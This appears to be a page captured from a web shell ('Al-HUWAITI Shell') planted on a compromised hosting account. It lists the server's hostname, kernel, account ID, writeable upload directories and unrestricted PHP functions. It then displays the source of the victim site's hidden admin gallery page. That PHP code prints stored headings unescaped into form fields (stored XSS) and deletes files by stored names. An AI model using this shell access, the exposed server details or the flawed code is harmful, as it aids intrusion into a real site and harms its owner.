Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/adesmiley.com/public_html/admin41345/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/adesmiley.com/public_html/admin41345/gallery.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("headerstrict.php"); ?>
<title><?php echo $company_name; ?>, Admin, Gallery</title>
<?php
if (isset($_POST['add_gallery'])) {
	
	$heading = mysqli_real_escape_string($con,$_POST['heading']);
	$paragraph = mysqli_real_escape_string($con,$_POST['paragraph']);
	$project_id ="General";
	$article_id ="";
	
	if( ($_FILES["file"]["type"]=="") == false ){
		include("upload_image.php");
		$picture = $destination;
	}
		
	$db_id=0;
	$stmt = $con -> prepare('INSERT INTO gallery VALUES (?,?,?,?,?,?)');
	$stmt -> bind_param('isssss', $db_id,$project_id,$article_id,$heading,$paragraph,$picture);
	$stmt -> execute();
 
	//create a session to verify it's coming from here
	$_SESSION["action"] = "true";
	$message="Picture successfully added.";
	echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
	
}
?>
<!-- ======= Breadcrumbs ======= -->
<section id="breadcrumbs" class="breadcrumbs">
  <div class="container"> </div>
</section>
<!-- End Breadcrumbs -->
<!-- ======= Contact Section ======= -->
<section id="contact" class="contact inner-page">
	<div class="container" data-aos="fade-up">

	<div class="section-title">
		<h2>Gallery</h2>
		<p>Add a picture</p>
	</div>

        <div class="row">

          <div class="col-lg-6 mt-5 mt-lg-0 d-flex align-items-stretch">
            <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" method="post" class="php-email-form1" enctype='multipart/form-data'>
              
			  <div class="form-row">
                <div class="form-group col-md-6">
					<input type="text" name="heading" class="form-control" placeholder="Heading" /> 
                </div>
                <div class="form-group col-md-6">
					<input type="text" name="paragraph" class="form-control" placeholder="Paragraph"/> 
                </div>
              </div>
			  
			  <div class="form-row">
                <div class="form-group col-md-12">
					<input type='file' name='file' class="form-control"  required /> 
                </div>
              </div>
             
              <div class="text-center">
				<button type="submit" name='add_gallery'>Save</button>
			  </div>
            </form>
          </div>
		  <div class="col-lg-6 d-flex align-items-stretch">
            
          </div>

        </div><!-- end row -->
		<br/></br>
		 <div class="section-title">
          <p>Uploaded Pictures</p>
        </div>
		<div class='row'>
	<?php 
	
	$sql = "SELECT COUNT(id) FROM gallery ORDER BY id DESC";
	$query = mysqli_query($con, $sql);
	$row = mysqli_fetch_row($query);
	//here we have the total row count
	$rows = $row[0];
	//number of results we want per page
	$page_rows = 123;
	//tells us the page number of our last page
	$last = ceil($rows/$page_rows);
	//this makes sure last cannot be less than 1
	if($last < 1){$last = 1;}
	//establish the page num variable
	$pagenum = 1;
	//Get pageum from $GET if it is present, else its 1
	if(isset($_GET['pn'])){
	$pagenum = preg_replace('#[^0-9]#', '', $_GET['pn']);
	}
	//below 1 or more than last page
	if($pagenum < 1){
	   $pagenum = 1;
	}else if ($pagenum > $last) {
		$pagenum = $last;
	}
	//this sets the range of rows to query for the chosen pagenum
	$limit = 'LIMIT ' .($pagenum - 1) * $page_rows .',' .$page_rows;
	//grabs one page worth of rows
	$sql = "SELECT * FROM gallery ORDER BY id DESC $limit ";
	$query = mysqli_query($con, $sql);
	//this shows the user what page they on and total number
	$textline1 = "Messages $rows";
	$textline2 = "Page $pagenum of $last";
	//establish the pagination controls
	$paginationCtrls = "";
	//if there is more than one page worth of results
	if($last != 1){
		if($pagenum > 1){
			$previous = $pagenum - 1;
			//$paginationCtrls .='<a href="'.$_SERVER['PHP_SELF'].'?pn='.$previous.'">Previous</a> &nbsp';
			$paginationCtrls .="
			<a href=".$_SERVER['PHP_SELF']."?pn=$previous>&nbsp;Prev &nbsp;</a>";
			//render clickable links to the left of target page number
			for($i = $pagenum-4; $i < $pagenum; $i++){
				if($i > 0){
					//$paginationCtrls .= '<a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'"></a> &nbsp; ';
$paginationCtrls .= "<a href='".$_SERVER['PHP_SELF']."'?pn=$i>&nbsp;$i &nbsp;</a>";
					
				}
			}
		}
		//render target number bt not link
		//$paginationCtrls .= ''.$pagenum.' &nbsp; ';
		$paginationCtrls .= "<a href='#'>$pagenum</a>";
		//render clickable number links to the right of target number
		for($i = $pagenum+1; $i <= $last; $i++){
			//$paginationCtrls .= '<a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a> &nbsp; ';
			$paginationCtrls .= "<a href='".$_SERVER['PHP_SELF']."'?pn=$i>&nbsp;$i&nbsp;</a>";
			if($i >= $pagenum+4){
				break;
			}
		}
		//this does the same as above, only checking if we are on the last page
		if($pagenum != $last) {
			$next = $pagenum + 1;
			$paginationCtrls .= "<a href='".$_SERVER['PHP_SELF']."'?pn=$next>&nbsp;Next&nbsp;</a>&nbsp;";
		}
	}
	
	if(mysqli_num_rows($query) > 0 ){
		while ($row_ads = mysqli_fetch_array($query, MYSQLI_ASSOC)) {
			$id = $row_ads['id'];
			$heading = $row_ads['heading'];
			$paragraph = $row_ads['paragraph'];
			$picture = $row_ads['picture'];
			$project_id = $row_ads['project_id'];

			//display only project and neutral pics
			if($project_id == "General"){

echo"			
		<div class='col-md-4'>
		<form action='";?><?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?><?php echo"' method='post'class='php-email-form1'enctype='multipart/form-data'>
			
			<div class='form-row'>
                <div class='form-group col-md-12'>
					<input type='text' name='heading' class='form-control' placeholder='Heading' value='$heading' /> 
                </div>
                <div class='form-group col-md-12'>
					<input type='text' name='paragraph' class='form-control' placeholder='Paragraph' value='$paragraph' /> 
                </div>
            </div>
			
			 <div class='form-row'>
                <div class='form-group col-md-12'>
					<img style='width:100%;border-radius:5px;'src='assets/img/gallery/$picture' class='img-fluid' alt=''>
					<input type='file' name='file' class='form-control'/> 
				</div>
			</div>
		
			
			<div class='text-center'>
				<button type='submit' name='update$id'>Update</button>
				<button type='submit' name='delete$id'>Delete</button>
			</div>
		
		</form>
		</div>
		
		";
		if (isset($_POST["update$id"])) {
			$heading = mysqli_real_escape_string($con,$_POST['heading']);
			$paragraph = mysqli_real_escape_string($con,$_POST['paragraph']);
	
			if( ($_FILES["file"]["type"]=="") == false ){
				unlink("assets/img/gallery/$picture");
				include("upload_image.php");
				$picture = $destination;
			}
			
			$stmt = $con -> prepare('UPDATE gallery SET heading = ?,paragraph=?,picture=? WHERE id = ?');
			$stmt -> bind_param('sssi', $heading, $paragraph,$picture,$id);
			$stmt -> execute();
			
			//create a session to verify it's coming from here
			$_SESSION["action"] = "true";
			$message="Update was successfully done.";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
		}
						
		if (isset($_POST["delete$id"])) {
			$stmt = $con -> prepare('DELETE FROM gallery WHERE id = ?');	
			$stmt -> bind_param('i', $id);
			$stmt -> execute();
			unlink("assets/img/gallery/$picture");
			//create a session to verify it's coming from here
			$_SESSION["action"] = "true";
			$message="Picture successfully deleted.";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name&m=$message\">";
		}
			}
		}//end of while
	}
	else{echo"No pictures are available at this time.";}				
						
					?>
	
	</div>
	<div class='row'>
	<div class="col-12 text-center">
              
                 <?php 
						
						echo"
						<div class='col-12'>
						$paginationCtrls<br/>
						</div>
						";
						echo "<br/><div class=''>$textline2</div>";
						
					?>
              
         </div>
	</div>

    </div>
</section><!-- End Contact Section -->
<?php include("footer.php"); ?>

Al-HUWAITI Shell